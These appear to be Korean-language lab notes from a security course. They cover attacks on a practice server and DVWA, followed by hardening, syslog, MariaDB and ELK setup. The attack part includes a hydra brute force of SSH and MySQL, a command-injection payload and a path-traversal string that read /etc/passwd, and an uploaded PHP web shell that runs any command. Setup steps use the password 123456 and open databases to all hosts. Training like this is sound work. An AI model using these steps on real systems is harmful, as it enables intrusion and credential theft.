#20250109

hacker > st.kr
> ping st.kr
> nslookup st.kr
> traceroute st.kr
> nmap -v -sS -O st.kr
> dnsenum st.kr
> nikto -host st.kr

/var/log/apache2/access.log

---

kali에서 ssh 125.246.95.152를 입력하면 kali라는 사용자로 접속 요청이 감.
하지만 서버에서 kali라는 이름이 존재 하지 않기 때문에 시스템 사용자를 찾아야 함.

루트로 ssh 접속 가능여부 확인
/etc/ssh/sshd_config
#authentication :
#PermitRootLogin prohibit-password

이렇게 주석 처리가 되어있기 때문에 일반적으로는 root로 접속을 못함.
그러므로 해커는 루트 접속이 가능한 일반 사용자를 찾아야 함.

접속 관련 로그 > /var/log/auth.log

hacker > hydra -L user.txt -P passwd.txt st.kr ssh

찾은 사용자와 패스워드 (master, 123456)로 접속 시도
hacker > ssh master@st.kr , 123456

---

adduser 명령어로 사용자를 추가하면 /etc/passwd에 저장이 된다.

dvwa.st.kr
admin
password

dvwa 웹의 취약점을 이용하여 사용자(/etc/passwd) 탐색.

DVWA Security > Security Level > low
1) Command Injaction > ; cat /etc/passwd

2) 파일 위치 요청
File Inclusion > file 1

/?page=file1.php를 상대경로를 이용하여 /etc/passwd 파일을 열게 만든다.

저 페이지의 위치가 /home/dvwa/public_html/vulnerablities/fi이므로,
cd ..을 이용하여 / 까지 이동하는 횟수를 카운트해서 뒤에 /etc/passwd를 붙인다(?)

결과 > ?page=../../../../../etc/passwd


3. 파일 업로드를 이용한 명령어 실행
kali에서 attack.php 생성
kali > nano attack.php
<?php
   $cmd = $_GET['cmd'];
   $result = system($cmd);
   echo "<br>";
   echo "<hr>";
   echo $result;
?>

웹 > File Upload > Browse .. > /home/attack.php open >
업로드를 하면 파일이 저장되는 경로가 /home/dvwa/public_html/hackable/upload이다.


업로드 후 url에 http://dvwa.st.kr/hackable/uploads/attack.php?cmd=ls
를 하면 ls 명령어가 실행이 되고,

이걸 이용하여 http://dvwa.st.kr/hackable/uploads/attack.php?cmd=cat /etc/passwd
를 입력하면 passwd 파일의 내용이 cat으로 읽혀 출력 된다.


-----

대응
1. ssh 접속 차단
1-1) 관리자만 접속가능하게 설정 > tcpwrapper 설정
*/etc/hosts.allow부터 설정하기 !
> nano /etc/hosts.allow
sshd : 192.168.0.3
> nano /etc/hosts.deny
ALL:ALL

1-2) ssh 포트번호 변경
> nano /etc/ssh/sshd_config



SELK 우분투 버전을 22.04로 낮춘 후 다시 세팅 진행
NAT, Xshell로 접속하여 세팅.

> sudo passwd root
123456

> su
> apt update

> nano /etc/hostname
log.st.kr

> nano /etc/rsyslog.conf
주석 해제
#modul(load="imtcp")
#input(type="imctp" port="514")

밑에 추가.
$AllowedSender TCP, 10.0.2.0/24, *.st.kr

> apt -y install net-tools
> netstat -ant | grep 514
> systemctl start rsyslog
> systemctl restart rsyslog
> apt -y install mariadb-server
> apt -y install rsyslog-mysql
Yes - 123456

> mysql
> show databases;
> use Syslog;
> show tables;
> desc SystemEvents;
> select * from SystemEvents;

Rsync 설정
> apt -y install rsync
> nano /etc/rsyncd.conf

#create new
#any name you like
[backup]
#target directory to copy
path = /backup
#hosts you allow to access
hosts allow=10.0.2.15
hosts deny=*
list=true
uid=root
gid=root
read only=false

> systemctl restart rsync
> systemctl enable rsync

ELK 설치
> sudo apt -y install default-jre
> sudo apt -y install default-jdk
> sudo apt -y install nginx

> curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch |sudo gpg --dearmor -o /usr/share/keyrings/elastic.gpg
> echo "deb [signed-by=/usr/share/keyrings/elastic.gpg] https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-7.x.list
> sudo apt update
> sudo apt -y install elasticsearch

/etc/elasticsearch/elasticsearch.yml

> sudo systemctl start elasticsearch
> sudo systemctl enable elasticsearch

curl -X GET "localhost:9200"

> sudo apt -y install kibana
> sudo systemctl start kibana
> sudo systemctl enable kibana

> sudo apt -y install logstash

---

GNS로 가져오기

> sudo nano /etc/netplan/00-installer-config.yaml
  addresses: [10.0.2.3/24]
  gateway4: 10.0.2.2
  nameservers:
   addresses: [10.0.2.15]

> sudo netplan apply

관리자 (Win7)에서 접속.

우분투 메인서버
> sudo nano /etc/rsyslog.d/50-default.conf

action(type="omfwd"
   queue.filename="IP15.st.kr"
   queue.maxdiskspace="1g"
   queue.saveonshutdown="on"
   queue.type="LinkedList"
   action.resumeRetryCount="-1"
   Target="10.0.2.3" Port="514" Protocol="tcp")

> systemctl restart rsyslog
> netstat -ant | grep 514
10.0.2.3의 514 포트와 연결된 것 확인 가능.

---

관리자 (Win7)

MySQL Workbench 8.0 CE > MySQL Connections > Edit Connection


DB는 기본적으로 외부접속 허용이 안 되어 있어서 로그서버에서 설정을 해주어야 한다.
1. 192.168.0.3(관리자(Win7))에서만 접속 가능하게 DB user 설정

> mysql
CREATE USER rsyslog@'192.168.0.3' IDENTIFIED BY '123456';
GRANT ALL ON Syslog.* TO rsyslog@'192.168.0.3';
FLUSH PRIVILEGES;

2. 파일 설정
> nano /etc/mysql/mariadb.conf.d/50-server.cnf
bind-address = 127.0.0.1 -> 0.0.0.0 수정


> systemctl restart mariadb

정상적으로 win7에서 mysql을 접속할 수 있다.


---

메인 서버의 db도 외부 접속 허용 후 hydra 공격하기.
> mysql

CREATE USER 'dvwa'@'%' IDENTIFIED BY '123456';
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'%';
FLUSH PRIVILEGES;
> exit

> nano /etc/mysql/mariadb.conf.d/50-server.cnf
bind-address = 127.0.0.1 -> 0.0.0.0 수정

kali > hydra -L user.txt -P passwd.txt st.kr mysql
을 하면 dvwa, 123456을 찾는다.
그러고 나서
> mysql -h st.kr -u dvwa -p
로 접속 시도하면 칼리에서 정상적으로 접속이 가능하다.